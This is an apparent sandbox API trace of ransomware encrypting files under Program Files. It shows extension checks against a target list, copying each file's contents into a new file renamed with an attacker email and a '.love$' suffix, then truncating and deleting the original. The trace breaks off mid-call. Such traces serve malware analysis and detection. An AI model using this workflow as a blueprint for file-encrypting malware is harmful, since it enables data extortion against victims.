lstrlenW (lpString=".7z") returned 3 [0106.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.887] lstrlenW (lpString=".dbf") returned 4 [0106.887] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.887] lstrlenW (lpString=".1cd") returned 4 [0106.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.887] lstrlenW (lpString=".jpg") returned 4 [0106.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.887] lstrcmpiW (lpString1=".htm", lpString2=".love$") returned -1 [0106.887] lstrlenW (lpString="Bears.htm") returned 9 [0106.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0106.891] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=255) returned 1 [0106.891] CloseHandle (hObject=0x354) returned 1 [0106.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0106.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0106.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0106.891] lstrlenW (lpString=".doc") returned 4 [0106.891] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0106.891] lstrlenW (lpString=".docx") returned 5 [0106.891] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0106.891] lstrlenW (lpString=".pdf") returned 4 [0106.891] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0106.891] lstrlenW (lpString=".xls") returned 4 [0106.892] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0106.892] lstrlenW (lpString=".xlsx") returned 5 [0106.892] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0106.892] lstrlenW (lpString=".ppt") returned 4 [0106.892] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0106.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0106.892] lstrlenW (lpString=".zip") returned 4 [0106.892] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0106.892] lstrlenW (lpString=".rar") returned 4 [0106.892] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0106.892] lstrlenW (lpString=".bz2") returned 4 [0106.892] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0106.892] lstrlenW (lpString=".7z") returned 3 [0106.892] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0106.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0106.892] lstrlenW (lpString=".dbf") returned 4 [0106.892] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0106.949] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.950] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0106.950] GetLastError () returned 0x0 [0106.951] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x285, lpOverlapped=0x0) returned 1 [0106.955] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x290, lpOverlapped=0x0) returned 1 [0106.958] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.958] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xea, lpOverlapped=0x0) returned 1 [0106.958] SetEndOfFile (hFile=0x374) returned 1 [0106.958] CloseHandle (hObject=0x374) returned 1 [0106.961] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.961] SetEndOfFile (hFile=0x380) returned 1 [0106.962] CloseHandle (hObject=0x380) returned 1 [0106.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x26) returned 1 [0106.964] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0106.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.965] lstrlenW (lpString=".doc") returned 4 [0106.965] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0106.966] lstrlenW (lpString=".docx") returned 5 [0106.966] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0106.966] lstrlenW (lpString=".pdf") returned 4 [0106.966] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0106.966] lstrlenW (lpString=".xls") returned 4 [0106.966] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0106.966] lstrlenW (lpString=".xlsx") returned 5 [0106.966] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0106.966] lstrlenW (lpString=".ppt") returned 4 [0106.966] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0106.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.966] lstrlenW (lpString=".zip") returned 4 [0106.966] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0106.966] lstrlenW (lpString=".rar") returned 4 [0106.966] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0106.966] lstrlenW (lpString=".bz2") returned 4 [0106.966] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0106.967] lstrlenW (lpString=".7z") returned 3 [0106.967] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0106.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.967] lstrlenW (lpString=".dbf") returned 4 [0106.967] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0106.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.967] lstrlenW (lpString=".1cd") returned 4 [0106.967] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0106.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.967] lstrlenW (lpString=".jpg") returned 4 [0106.967] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0106.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.967] lstrlenW (lpString=".doc") returned 4 [0106.967] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0106.968] lstrlenW (lpString=".docx") returned 5 [0106.968] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0106.968] lstrlenW (lpString=".pdf") returned 4 [0106.968] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0106.968] lstrlenW (lpString=".xls") returned 4 [0106.968] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0106.968] lstrlenW (lpString=".xlsx") returned 5 [0106.968] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0106.968] lstrlenW (lpString=".ppt") returned 4 [0106.968] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0106.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.968] lstrlenW (lpString=".zip") returned 4 [0106.968] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0106.969] lstrlenW (lpString=".rar") returned 4 [0106.969] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0106.969] lstrlenW (lpString=".bz2") returned 4 [0106.969] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0106.969] lstrlenW (lpString=".7z") returned 3 [0106.969] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0106.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.969] lstrlenW (lpString=".dbf") returned 4 [0106.969] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0106.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.969] lstrlenW (lpString=".1cd") returned 4 [0106.969] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0106.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0106.970] lstrlenW (lpString=".jpg") returned 4 [0106.970] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0106.970] lstrcmpiW (lpString1=".zip", lpString2=".love$") returned 1 [0106.970] lstrlenW (lpString="ffjcext.zip") returned 11 [0106.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.973] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=14156) returned 1 [0106.973] CloseHandle (hObject=0x380) returned 1 [0106.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0106.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.974] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.974] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.974] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.974] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0106.977] GetLastError () returned 0x0 [0106.977] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x374c, lpOverlapped=0x0) returned 1 [0106.979] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x3750, lpOverlapped=0x0) returned 1 [0106.981] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.981] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xea, lpOverlapped=0x0) returned 1 [0106.981] SetEndOfFile (hFile=0x374) returned 1 [0106.981] CloseHandle (hObject=0x374) returned 1 [0106.984] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.984] SetEndOfFile (hFile=0x380) returned 1 [0106.985] CloseHandle (hObject=0x380) returned 1 [0106.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0106.986] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0106.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0106.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0106.986] lstrlenW (lpString=".doc") returned 4 [0106.986] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0106.986] lstrlenW (lpString=".docx") returned 5 [0106.986] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0106.986] lstrlenW (lpString=".pdf") returned 4 [0106.986] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0106.986] lstrlenW (lpString=".xls") returned 4 [0106.986] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0106.986] lstrlenW (lpString=".xlsx") returned 5 [0106.986] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0106.986] lstrlenW (lpString=".ppt") returned 4 [0106.986] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0106.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0106.986] lstrlenW (lpString=".zip") returned 4 [0106.987] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0106.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0106.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0106.987] lstrlenW (lpString=".doc") returned 4 [0106.987] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0106.987] lstrlenW (lpString=".docx") returned 5 [0106.987] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0106.987] lstrlenW (lpString=".pdf") returned 4 [0106.987] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0106.987] lstrlenW (lpString=".xls") returned 4 [0106.987] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0106.987] lstrlenW (lpString=".xlsx") returned 5 [0106.987] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0106.987] lstrlenW (lpString=".ppt") returned 4 [0106.987] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0106.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0106.987] lstrlenW (lpString=".zip") returned 4 [0106.987] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0106.988] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0106.988] lstrlenW (lpString="splash@2x.gif") returned 13 [0106.988] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.988] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=15276) returned 1 [0106.988] CloseHandle (hObject=0x380) returned 1 [0106.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0106.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.989] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.989] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0106.989] GetLastError () returned 0x0 [0106.989] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x3bac, lpOverlapped=0x0) returned 1 [0106.992] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0106.994] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.994] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xee, lpOverlapped=0x0) returned 1 [0106.995] SetEndOfFile (hFile=0x374) returned 1 [0106.995] CloseHandle (hObject=0x374) returned 1 [0106.996] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.996] SetEndOfFile (hFile=0x380) returned 1 [0106.997] CloseHandle (hObject=0x380) returned 1 [0106.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0106.998] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0106.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0106.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0106.998] lstrlenW (lpString=".doc") returned 4 [0106.998] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0106.998] lstrlenW (lpString=".docx") returned 5 [0106.998] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0106.998] lstrlenW (lpString=".pdf") returned 4 [0106.998] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0106.998] lstrlenW (lpString=".xls") returned 4 [0106.998] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0106.998] lstrlenW (lpString=".xlsx") returned 5 [0106.998] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0106.998] lstrlenW (lpString=".ppt") returned 4 [0106.998] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0106.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0106.999] lstrlenW (lpString=".zip") returned 4 [0106.999] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0106.999] lstrlenW (lpString=".rar") returned 4 [0106.999] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0106.999] lstrlenW (lpString=".bz2") returned 4 [0106.999] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0106.999] lstrlenW (lpString=".7z") returned 3 [0106.999] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0106.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0106.999] lstrlenW (lpString=".dbf") returned 4 [0106.999] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0106.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0106.999] lstrlenW (lpString=".1cd") returned 4 [0106.999] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0106.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0106.999] lstrlenW (lpString=".jpg") returned 4 [0106.999] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0106.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0106.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0106.999] lstrlenW (lpString=".doc") returned 4 [0106.999] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0106.999] lstrlenW (lpString=".docx") returned 5 [0106.999] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0106.999] lstrlenW (lpString=".pdf") returned 4 [0106.999] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0106.999] lstrlenW (lpString=".xls") returned 4 [0106.999] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0106.999] lstrlenW (lpString=".xlsx") returned 5 [0106.999] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0106.999] lstrlenW (lpString=".ppt") returned 4 [0106.999] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0106.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0107.000] lstrlenW (lpString=".zip") returned 4 [0107.000] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.000] lstrlenW (lpString=".rar") returned 4 [0107.000] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.000] lstrlenW (lpString=".bz2") returned 4 [0107.000] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.000] lstrlenW (lpString=".7z") returned 3 [0107.000] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0107.000] lstrlenW (lpString=".dbf") returned 4 [0107.000] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0107.000] lstrlenW (lpString=".1cd") returned 4 [0107.000] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0107.000] lstrlenW (lpString=".jpg") returned 4 [0107.000] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.000] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0107.000] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0107.000] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0107.000] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=7805) returned 1 [0107.001] CloseHandle (hObject=0x380) returned 1 [0107.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0107.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[im.online@aol.com].love$" 